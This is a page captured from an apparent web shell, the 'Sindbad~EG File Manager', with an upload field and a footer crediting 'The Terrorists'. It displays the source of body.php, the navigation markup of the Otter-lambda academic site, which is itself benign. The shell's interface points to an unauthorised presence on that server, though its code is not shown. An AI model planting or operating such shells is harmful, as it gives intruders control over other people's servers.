Sindbad~EG File Manager

Current Path : /usr/home/beeson/public_html/michaelbeeson/research/otter-lambda/include/
Upload File :
Current File : /usr/home/beeson/public_html/michaelbeeson/research/otter-lambda/include/body.php

<div class="skipLinks">skip to: <a href="#content">page content</a> | <a href="./pageNav">links on this page</a> | <a href="#globalNav">site navigation</a> | <a href="#siteInfo">footer (site information)</a> </div>
<div id="masthead"> 
  <h1 id="siteName">Online Otter-&lambda;</h1> 
  <div id="utility"> 
    <a href="#">Utility Link</a> | <a href="#">Utility Link</a> | <a href="#">Utility
    Link</a> 
  </div> 
  <div id="globalNav"> 
    <img alt="" src="./gblnav_left.gif" height="32" width="4" id="gnl"> <img alt="" src="./glbnav_right.gif" height="32" width="4" id="gnr"> 
    <div id="globalLink"> 
      <a href="index.php" id="gl1" class="glink" onmouseover="ehandler(event,menuitem1);">Otter-lambda Home</a>
	  <a href="examples.php" id="gl3" class="glink" onmouseover="ehandler(event,menuitem2);">View Examples</a>
	  <a href="papers.php" id="gl4" class="glink" onmouseover="ehandler(event,menuitem3);">Papers</a>
	  <a href="contact.php" id="gl5" class="glink" onmouseover="ehandler(event,menuitem4);">Contact Information</a>
	  <a href="sourcecode.php" id="gl6" class="glink" onmouseover="ehandler(event,menuitem5);">Source Code</a></div>  
    <!--end globalLinks--> 
    <form id="search" action=""> 
      <input name="searchFor" type="text" size="10"> 
      <a href="">search</a> 
    </form> 
  </div> 
  <!-- end globalNav --> 
  <div id="subglobal1" class="subglobalNav"> 
    <!--<a href="#">subglobal1 link</a> | <a href="#">subglobal1 link</a> | <a href="#">subglobal1
    link</a> | <a href="#">subglobal1 link</a> | <a href="#">subglobal1 link</a> | <a href="#">subglobal1
    link</a> | <a href="#">subglobal1 link</a> -->
  </div> 
 
  <div id="subglobal2" class="subglobalNav">
    <?php
 	$d = dir("examples/");
	$count = 0;
	while (false !== ($file = $d->read())) {
		if ( $file == "." or $file == ".." ) continue;
		if ( is_dir("examples/$file") ) {
			$count++;
			if ( $count > 4 ) break;
			echo "<a href='examples.php?directory=$file'>$file</a> | ";
		}
	}
	$d->close();
	if ( $count > 4 ) echo "<a href='examples.php'>More ></a>\n";
    ?>
  </div> 
    <div id="subglobal3" class="subglobalNav"> 
  <div id="subglobal4" class="subglobalNav"> 
    <!--<a href="#">subglobal4 link</a> | <a href="#">subglobal4 link</a> | <a href="#">subglobal4
    link</a> | <a href="#">subglobal4 link</a> | <a href="#">subglobal4 link</a> | <a href="#">subglobal4
    link</a> | <a href="#">subglobal4 link</a> -->
  </div> 
  <div id="subglobal5" class="subglobalNav"> 
    <!--<a href="#">subglobal5 link</a> | <a href="#">subglobal5 link</a> | <a href="#">subglobal5
    link</a> | <a href="#">subglobal5 link</a> | <a href="#">subglobal5 link</a> | <a href="#">subglobal5
    link</a> | <a href="#">subglobal5 link</a> -->
  </div> 
  <div id="subglobal6" class="subglobalNav"> 
    <!--<a href="#">subglobal6 link</a> | <a href="#">subglobal6 link</a> | <a href="#">subglobal6
    link</a> | <a href="#">subglobal6 link</a> | <a href="#">subglobal6 link</a> | <a href="#">subglobal6
    link</a> | <a href="#">subglobal6 link</a> -->
  </div> 
  <div id="subglobal7" class="subglobalNav"> -->
    <!--<a href="#">subglobal7 link</a> | <a href="#">subglobal7 link</a> | <a href="#">subglobal7
    link</a> | <a href="#">subglobal7 link</a> | <a href="#">subglobal7 link</a> | <a href="#">subglobal7
    link</a> | <a href="#">subglobal7 link</a> -->
  </div> 
  <div id="subglobal8" class="subglobalNav"> 
    <!--<a href="#">subglobal8 link</a> | <a href="#">subglobal8 link</a> | <a href="#">subglobal8
    link</a> | <a href="#">subglobal8 link</a> | <a href="#">subglobal8 link</a> | <a href="#">subglobal8
    link</a> | <a href="#">subglobal8 link</a> -->
  </div> 
</div> 
<!-- end masthead --> 
<div id="pagecell1"> 
  <!--pagecell1--> 
  <img alt="" src="tl_curve_white.gif" height="6" width="6" id="tl"> <img alt="" src="tr_curve_white.gif" height="6" width="6" id="tr"> 
  <!--<div id="breadCrumb"> 
    <a href="#">Breadcrumb</a> / <a href="#">Breadcrumb</a> / <a href="#">Breadcrumb</a> /
  </div> -->

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists